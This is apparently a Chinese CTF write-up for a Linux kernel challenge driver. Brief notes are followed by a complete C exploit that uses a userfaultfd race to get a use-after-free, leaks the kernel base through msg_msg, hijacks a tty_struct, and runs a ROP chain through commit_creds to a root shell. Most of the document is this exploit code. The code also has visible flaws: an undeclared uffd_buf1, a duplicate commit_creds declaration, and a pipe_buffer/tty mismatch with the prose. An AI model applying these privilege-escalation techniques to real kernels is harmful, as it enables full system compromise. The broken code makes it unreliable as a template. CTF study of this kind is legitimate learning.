很明显,race_condtion的问题,但是只有一次free的机会,kaslr,smep,smap,kpti等保护全开,但是random_freelist没开。
我用的方法是利用race_condtion构造UAF,msg_msg泄露基址,然后pipe_buffer劫持控制流。
有kernel pwn基础的很容易看懂exp,这里主要说遇到的问题。
1. msg_msg直接read的时候会释放,这也是我们想要的,但这是要确保msg_msg的security字段是正常的,根据观察,这个字段的正常值和page_offset_base的偏移是固定的,所以只有泄露page_offset_base的基址即可。
2. tty_struct的结构体的前八字节不能改变,不然write会失败。
3. 打pt_regs,最好先把寄存器都赋值为0xdeadbeef,然后打个断点,观察一下哪些栈底的值被变成了其他值,该题中r11寄存器变了。
4.寄存器赋值和最后的write要都用汇编实现,不然可能write失败,"write:bad address";以下是wp:
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <errno.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <stdint.h>
size_t prepare_kernel_cred=NULL;
size_t commit_creds=NULL;
size_t user_cs, user_ss, user_rflags, user_sp;
int fd;
size_t addr;
int qu;
int get_msg_queue(void)
{
return msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
}
int read_msg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
return msgrcv(msqid, msgp, msgsz, msgtyp, 0);
}
/**
* the msgp should be a pointer to the `struct msgbuf`,
* and the data should be stored in msgbuf.mtext
*/
int write_msg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
((struct msgbuf*)msgp)->mtype = msgtyp;
return msgsnd(msqid, msgp, msgsz, 0);
}
/* for MSG_COPY, `msgtyp` means to read no.msgtyp msg_msg on the queue */
int peek_msg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
return msgrcv(msqid, msgp, msgsz, msgtyp,
MSG_COPY | IPC_NOWAIT | MSG_NOERROR);
}
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
void err_exit(char *msg)
{
perror(msg);
sleep(2);
exit(EXIT_FAILURE);
}
void getRootPrivilige(void)
{
void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
int (*commit_creds_ptr)(void *) = commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}
void bind_core(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
void get_shell(){
system("/bin/sh");
}
void add(size_t buf){
size_t arg[6];
arg[0]=0;
arg[1]=0;
arg[2]=0;
arg[3]=0;
arg[4]=1;
arg[5]=buf;
ioctl(fd,65520,arg);
}
void del(){
size_t arg[6];
arg[0]=0;
arg[1]=0;
arg[2]=0;
arg[3]=0;
arg[4]=1;
arg[5]=0;
ioctl(fd,65521,arg);
}
void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{
long uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) perror("[X] ioctl-UFFDIO_API"), exit(-1);
uffdio_register.range.start = (long long)addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) perror("[X] ioctl-UFFDIO_REGISTER"), exit(-1);
if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)
puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}
char copy_src[0x1000];
char blank[800];
void* handler0(void* arg)
{
struct uffd_msg msg;
struct uffdio_copy uffdio_copy;
long uffd = (long)arg;
for(;;)
{
int res;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);
res = read(uffd, &msg, sizeof(msg));
if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);
puts("[+] Now in userfaultfd handler0");
del();
size_t next=addr;
memcpy(copy_src,&next,8);
uffdio_copy.src = (long long)copy_src;
uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
uffdio_copy.len = 0x1000;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
}
}
void get_flag()
{
system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /tmp/pwn");
system("chmod +x /tmp/pwn");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/good");
system("chmod +x /tmp/good");
system("/tmp/good");
sleep(1);
system("cat /flag");
exit(0);
}
char *uffd_buf0;
pthread_t thr0;
int tty;
int tty1;
int pipefd[3][2];
size_t kernel_base;
size_t init_cred;
size_t commit_creds;
size_t pop_rdi;
size_t restore;
int tt;
size_t rr;
size_t pop_rdx;
int main(){
save_status();
bind_core(0);
fd=open("/dev/ksctf",2);
if(fd<0)printf("open fail\n");
add(&addr);
size_t page_offset_base=addr&0xfffffffff0000000;
printf("page_offset_base:%lx\n",page_offset_base);
size_t security=page_offset_base+0xe6813a8;
tty=open("/dev/ptmx",0);
printf("heap_addr:%lx;\n",addr);
uffd_buf0 = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
if (uffd_buf0 == MAP_FAILED || uffd_buf1 == MAP_FAILED) err_exit("mmap for uffd");
register_userfaultfd(&thr0, uffd_buf0, 0x1000, handler0);
write(fd,uffd_buf0,0x8);
printf("start to leak msg and UAF!\n");
qu=get_msg_queue();
memset(blank,'A',800);
write_msg(qu,blank,800,1);
printf("msg_msg constructed\n");
add(addr);
size_t cover[6];
cover[0]=addr;
cover[1]=addr;
cover[2]=1;
cover[3]=2000;
cover[4]=0;
cover[5]=security;
write(fd,cover,0x30);
printf("leaking msg\n");
size_t leak[250];
read_msg(qu,leak,2000,1);
int r=0;
printf("this is msg\n");
for(;r<250;r++)printf("%d:%lx;\n",r,leak[r]);
kernel_base=leak[126]-0x2073e00;
printf("kernel_base:%lx\n",kernel_base);
size_t uu=0;
write(fd,&uu,8);
commit_creds=kernel_base+0x1097d00;
init_cred=kernel_base+0x2448cc0;
pop_rdi=kernel_base+0x1003e98;
restore=kernel_base+0x1c00a9f;
size_t add_rsp=kernel_base+0x1086039;
size_t mod=kernel_base+0x24493c0-0x8;
pop_rdx=kernel_base+0x1056008;
tt=open("/dev/ptmx",2);
if(tt<0)printf("open fail\n");
size_t rop[100];
int i=0;
rop[i++]=0x100005401;
rop[i++]=add_rsp;
rop[i++]=addr-0x400;
rop[i++]=addr-0x30;
write(fd,rop,32);
rr=&addr;
__asm__(
"mov r15,0xdeadbeef;"
"mov r14,0xdeadbeef;"
"mov r13,0xdeadbeef;"
"mov r12,pop_rdi;"
"mov rbp,init_cred;"
"mov rbx,pop_rdx;"
"mov r11,0xdeadbeef;"
"mov r10,commit_creds;"
"mov r9,restore;"
"mov r8,0xdeadbeef;"
"mov rax,1;"
"mov rdi,tt;"
"mov rsi,rr;"
"mov rdx,8;"
"syscall;"
);
//int res=write(tt,&addr,8);
//if(res==-1)perror("write");
system("/bin/sh");
return 0;
}